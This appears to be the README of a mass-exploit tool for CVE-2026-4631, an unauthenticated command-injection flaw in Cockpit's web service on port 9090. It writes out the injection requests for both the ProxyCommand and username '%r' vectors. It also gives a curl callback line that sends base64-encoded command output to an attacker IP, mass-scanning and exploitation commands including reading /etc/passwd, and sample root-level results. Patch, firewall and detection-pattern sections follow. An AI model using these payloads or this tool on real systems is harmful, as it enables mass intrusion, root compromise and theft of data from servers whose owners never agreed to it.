
SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78
SSHコマンドライン引数インジェクションによる認証なしリモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 Critical | CWE-78
Cockpit Webサービス(cockpit-ws、ポート9090)のCVE-2026-4631向けの大量エクスプロイトツール。脆弱性スキャンモード、ビルトインHTTPコールバックリスナー経由でのコマンド出力キャプチャ付きRCEモード、--autoモード(デフォルトコマンドidでスキャン+エクスプロイトを一度に実行)、ポートなしターゲットへの**:9090の自動追加**、両方の攻撃ベクトル(ProxyCommand+ユーザー名%rインジェクション)、ファイルからの大量ターゲット、スレッドによる並行処理、構造化された結果出力をサポートしています。
作者: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txtを編集 — 1行に1ホスト。ポートが指定されていない場合、:9090が自動的に追加されます:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631はblind RCEです — コマンドの出力はHTTPレスポンスでは返ってきません。このツールは出力をキャプチャするためにビルトインHTTPリスナー(デフォルトポート8888)を使用します。次の点を確認してください:
--callback-ipはターゲットから到達可能なIPであること(127.0.0.1ではなく)8888を許可すること(またはカスタムの--listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.confを編集:
[WebService]
LoginTo = false
サービスを再起動:
sudo systemctl restart cockpit
ポート9090を管理ネットワークのみに制限:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
早期ホスト名検証によりVector 1(ProxyCommandインジェクション)を緩和:
ssh -V # harus OpenSSH_9.6 atau lebih baru
360にアップグレードできない場合は、次のパッチコミットを適用:
beiboot.pyとcockpitauth.cに--セパレータを追加session.pyに--を追加パッチの詳細: docs/PATCH_ANALYSIS.md を参照
Cockpit v327はcockpit-ssh(libssh)を、システムのOpenSSH sshクライアントを呼び出すpython3 -m cockpit.beibootに置き換えました。ユーザーが制御する入力 — URLパスのホスト名とAuthorization: Basicヘッダーのユーザー名 — が、サニタイズなしかつ**--(エンドオブオプションセパレータ)なし**でsshに渡されます。インジェクションは認証情報の検証前に発生するため、有効なログインは不要です。
URLパスのホスト名にSSHオプション-oProxyCommand=<cmd>がインジェクトされます。
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSHは-oProxyCommand=<cmd>をオプションとして解析し、<cmd>をProxyCommandとして実行します。コマンドはcockpit-wsのユーザープロセスとして実行されます。
前提条件: ターゲットのOpenSSH < 9.6。OpenSSH 9.6+にはメタキャラクタをブロックする早期ホスト名検証があります。
%rトークンインジェクション(副)Authorization: Basicヘッダーのユーザー名にシェルコマンドがインジェクトされます。
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSHがMatch execディレクティブ内の%rをユーザー名で展開 → シェルがインジェクトされたコマンドを実行します。
前提条件: ターゲットのssh_configに%rトークンを含むMatch execディレクティブがあること。
LoginTo)が無効化されていないMatch exec %rを含むssh_config# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — エクスプロイトリクエスト用のHTTPクライアントcolorama>=0.4 — ターミナル出力の色付けリスナー用の追加の依存関係はありません(stdlibのhttp.server + threadingを使用)。
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)エクスプロイトなしでエンドポイント/cockpit+=probe-host/loginをプローブします。検出内容:
悪意のあるペイロードは送信せず、コールバックリスナーも不要です。
-c "cmd")ターゲットでコマンドを実行し、コールバック経由で出力をキャプチャ:
curlによるリスナーへの外部送信(exfil)でコマンドをラップ-cが指定されていない場合、デフォルトコマンド = id--auto)— 推奨スキャン+エクスプロイトを1パスで実行、デフォルトコマンドid:
id(または-cによる上書き)で即エクスプロイトhost [ uid=0(root) ... ]--vector auto)最初にVector 1(ProxyCommand)を試行します。レスポンスがOpenSSH >= 9.6(ホスト名検証エラー)を示す場合は、Vector 2(ユーザー名%r)にフォールバックします。
targets.txt内のポートなしの各エントリには、自動的に:9090が付加されます:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
出力results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
出力scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
出力:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
結果ファイルの形式はターゲットごとに1行:
<host> [ <status_or_output> ]
結果ファイルのヘッダーには、タイムスタンプ、コマンド、ベクトル、ターゲット数が記録されます。
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine
-f file / -t urlの読み取り、正規化(http://の付加、デフォルトポート9090)、重複排除--scanモード、エンドポイントのプローブ、Cockpitのフィンガープリント、脆弱性の推定requests経由でエクスプロイトリクエストを送信--callback-ip:--listener-portでThreadingHTTPServer、?id=REQID&out=BASE64を解析、共有dictに保存host [ output ]形式で結果ファイルを書き込むCVE-2026-4631-cockpit-RCE/
├── exploit.py # entry point CLI
├── requirements.txt # dependencies
├── README.md # dokumentasi ini
├── targets.txt # contoh target list
├── results.txt # output (generated)
├── core/
│ ├── __init__.py
│ ├── target.py # parser target
│ ├── scanner.py # mode scan vuln
│ ├── exploit.py # payload generator + sender
│ ├── listener.py # HTTP callback server
│ └── engine.py # orchestrator
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII banner
│ └── result.py # result writer
└── docs/
├── VULN_ANALYSIS.md # analisis mendalam vulnerability
├── PATCH_ANALYSIS.md # analisis patch commit
└── DETECTION.md # signature deteksi
CVE-2026-4631はblind RCEです — コマンドの出力はCockpitのHTTPレスポンスでは返されません。このツールはビルトインHTTPコールバックリスナーでこの問題を解決します:
--callback-ip:--listener-portで待ち受けbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get経由、自己署名証明書用にverify=False--timeoutまで共有dictresults[REQID]をポーリングhost [ decoded_output ]を出力ファイルに書き込みコールバックなしでタイムアウトした場合、SSHエラーレスポンスを確認します:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads)で並列処理threading.Lock付きの共有dict[REQID] -> target_host + dict[REQID] -> outputThreadingHTTPServerが並行コールバックを処理try/except: 接続エラー、SSLエラー、タイムアウトGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
注意すべき点:
-oProxyCommand=Authorization: Basic値内のセミコロン(;)journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
このツールは、所有している、または書面によるテスト許可を得ているシステムに対する認可されたペネトレーションテスト、セキュリティ研究、脆弱性検証のために作成されています。
所有者の明示的な許可なくシステム上でこのツールを使用することは違法であり、適用される法律に基づき刑事罰の対象となる可能性があります(インドネシア: UU ITE第30条〜第33条)。
作者はこのツールの悪用について一切責任を負いません。倫理的かつ責任を持って使用してください。
認可された使用例:
研究および認可されたテストを目的としています。許可なく商用配布することはできません。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 深刻度 | Critical (CVSS 9.8) |
| CWE | CWE-78 — OSコマンドインジェクション |
| 影響を受けるバージョン | Cockpit 327 – 359 |
| 修正バージョン | Cockpit 360+ |
| 認証要件 | 不要(pre-authentication) |
| 報告者 | Jelle van der Waa |
| サービス | cockpit-ws、デフォルトポート9090 |
| ステータス | 意味 |
|---|
uid=0(root) ... | RCE成功、コマンド出力をキャプチャ |
VULN - no callback received (OpenSSH >= 9.6?) | ターゲットは脆弱だがVector 1がOpenSSH 9.6+でブロックされた、Vector 2を試行 |
VULN - endpoint active | スキャンモード、脆弱なエンドポイントを検出 |
NOT VULN | Cockpit >= 360、またはエンドポイントが存在しない |
UNREACHABLE | 接続失敗 / 接続タイムアウト |
ERROR: <msg> | 実行中の例外 |
| リソース | URL |
|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| Reference PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |